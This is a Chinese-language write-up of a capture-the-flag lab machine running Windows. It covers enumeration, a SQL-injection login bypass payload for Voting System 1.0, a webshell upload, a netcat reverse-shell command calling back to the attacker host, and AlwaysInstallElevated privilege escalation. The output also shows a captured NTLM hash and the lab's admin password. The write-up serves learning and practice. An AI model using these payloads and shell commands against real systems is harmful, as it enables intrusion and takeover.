概述 (Overview)
kill date: 2021-08-07
机器作者: pwnmeow
困难程度: easy
MACHINE TAGS:
• Windows
• CVE
• SSRF
• RCE
• Web
• Environment Misconfiguration
• AppLocker Bypass
攻击链 (Kiillchain)
通过 Nmap 识别出目标服务器运行的服务,从 exploit-db 检索出 CVE 漏洞,利用 SQL 注入成功进入后台控制端页面。上传 webshell 得到一个 reverse shell 立足点。
使用 winPEAS 工具收集服务器信息,发现 AlwaysInstallElevated 开启。配合 Metasploit Framework 成功完成权限提升。
枚举(Enumeration)
老规矩还是 Nmap 起手,去识别目标服务器开发的端口及运行服务信息。
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Secure file scanner
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after: 2022-01-18T14:00:16
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROU
P)
3306/tcp open mysql?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, HTTPOptions, Help, Kerberos, LDAPSearchReq, LPDString, RPCCheck, RTSPRequest, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe:
|_ Host '10.10.16.2' is not allowed to connect to this MariaDB server
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
从开放端口的指纹信息中能够获悉目标服务器是 Windows,在 443 端口中包含一个自定义的域名 staging.love.htb。
修改 /etc/hosts 文件后访问该 HTTPS 域名,看到了一个全新的 PHP 站。
Port 80 - Voting System
经过一番折腾后在 HTTPS 站中没有找到突破口,转而尝试寻找 HTTP 站点的漏洞。
通过 exploit-db 检索页面 title 信息,发现存在多个高危漏洞:
$ searchsploit Voting System
Voting System 1.0 - Authentication Bypass (SQLI) | php/webapps/49843.txt
Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution) | php/webapps/49445.py
Voting System 1.0 - Remote Code Execution (Unauthenticated) | php/webapps/49846.txt
Voting System 1.0 - Time based SQLI (Unauthenticated SQL injection) | php/webapps/49817.txt
立足点(Foothold)
简单选择 Authentication Bypass (SQLI) 进行验证,下载49843.txt
至本地,使用 burp 代理发送 payload :
login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -
这里存在一个差异,/login.php 页面与 /admin/login.php 展示是一样的,但前者并不存在该漏洞,仅在 /admin/login.php 页面生效。
如图所示,成功进入了目标系统的后台控制面板:
漏洞产生成因可以在 49843.txt
文件中很直观的看到:
随后查看 Remote Code Execution (Unauthenticated)也就是49846.txt
文件,里面包含了 webshell 上传的步骤。所以简单构建个测试 PHP 脚本进行文件上传:
<?php echo exec("whoami"); ?>
先要在 possible 页面中创建一个数据,用于下一个页面上传文件时的必填参数:
随后在 candidates 页面点击 New ,上传我们自定义的 PHP 脚本文件。
创建成功后直接访问路径,可以发现 PHP 脚本已经被正常执行。
注意到目标服务器 PHP 版本是 7,从网上随便找了个 PHP7 可以正常运行的 Webshell 进行上传。
https://raw.githubusercontent.com/KaizenLouie/C99Shell-PHP7/master/c99shell.php
查看 Webshell 运行正常,随后将 nc 通过 impacket-smbserver 传递至目标服务器:
执行如下命令完成 reverse shell:
copy \\10.10.16.3\share\nc64.exe C:\xampp\htdocs\omrs\images\nc.exe C:\xampp\htdocs\omrs\images\nc.exe 10.10.16.3 9900 -e cmd.exe
在 Phoebe 用户桌面下获得到 user flag:
权限提升(Privilege Escalation)
将 winPEAS 程序传递至 c:\Users\Phoebe\Downloads 目录,随后 CMD 执行:
...snip...
Checking AlwaysInstallElevated
https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated
AlwaysInstallElevated set to 1 in HKLM!
AlwaysInstallElevated set to 1 in HKCU!
Logged users
LOVE\Administrator
LOVE\Phoebe
Enumerating Security Packages Credentials
Version: NetNTLMv2
Hash: Phoebe::LOVE:1122334455667788:20e51a8d32d4b2d85ee8d1f16d856ae2:0101000000000000cdcd241cb38bd701ba60ebea1234fc78000000000800300030000000000000000000000000200000c7feb52a9af533c44a1a9653e8d52b6cd2d9a8def4c45c6cb0ba513521461eb60a00100000000000000000000000000000000000090000000000000000000000
...snip...
从得到的信息中可以看到 AlwaysInstallElevated 是开启的,简单的注册表提权了。这种情下,我们可以生成一个包含反向 Shell 的恶意 MSI 文件。
MSI 文件是用于安装应用程序的软件包文件。这些文件在尝试安装它们的用户权限下运行。Windows 允许这些安装程序以提升的(即 admin)特权运行。
最终在 Metasploit Framework 的配合下,完成最终的权限提升。
复盘
做完后再查看其他人的 Writeup 学习思路,发现其实 HTTPS 站存在 SSRF 的漏洞,触发点在 beta.php 页面的功能上。
当使用它加载目标服务器本地的 5000 端口时,会直接得到 HTTP 页面 admin 账号登录密码。
Vote Admin Creds admin: @LoveIsInTheAir!!!!
参考
- https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated
- https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery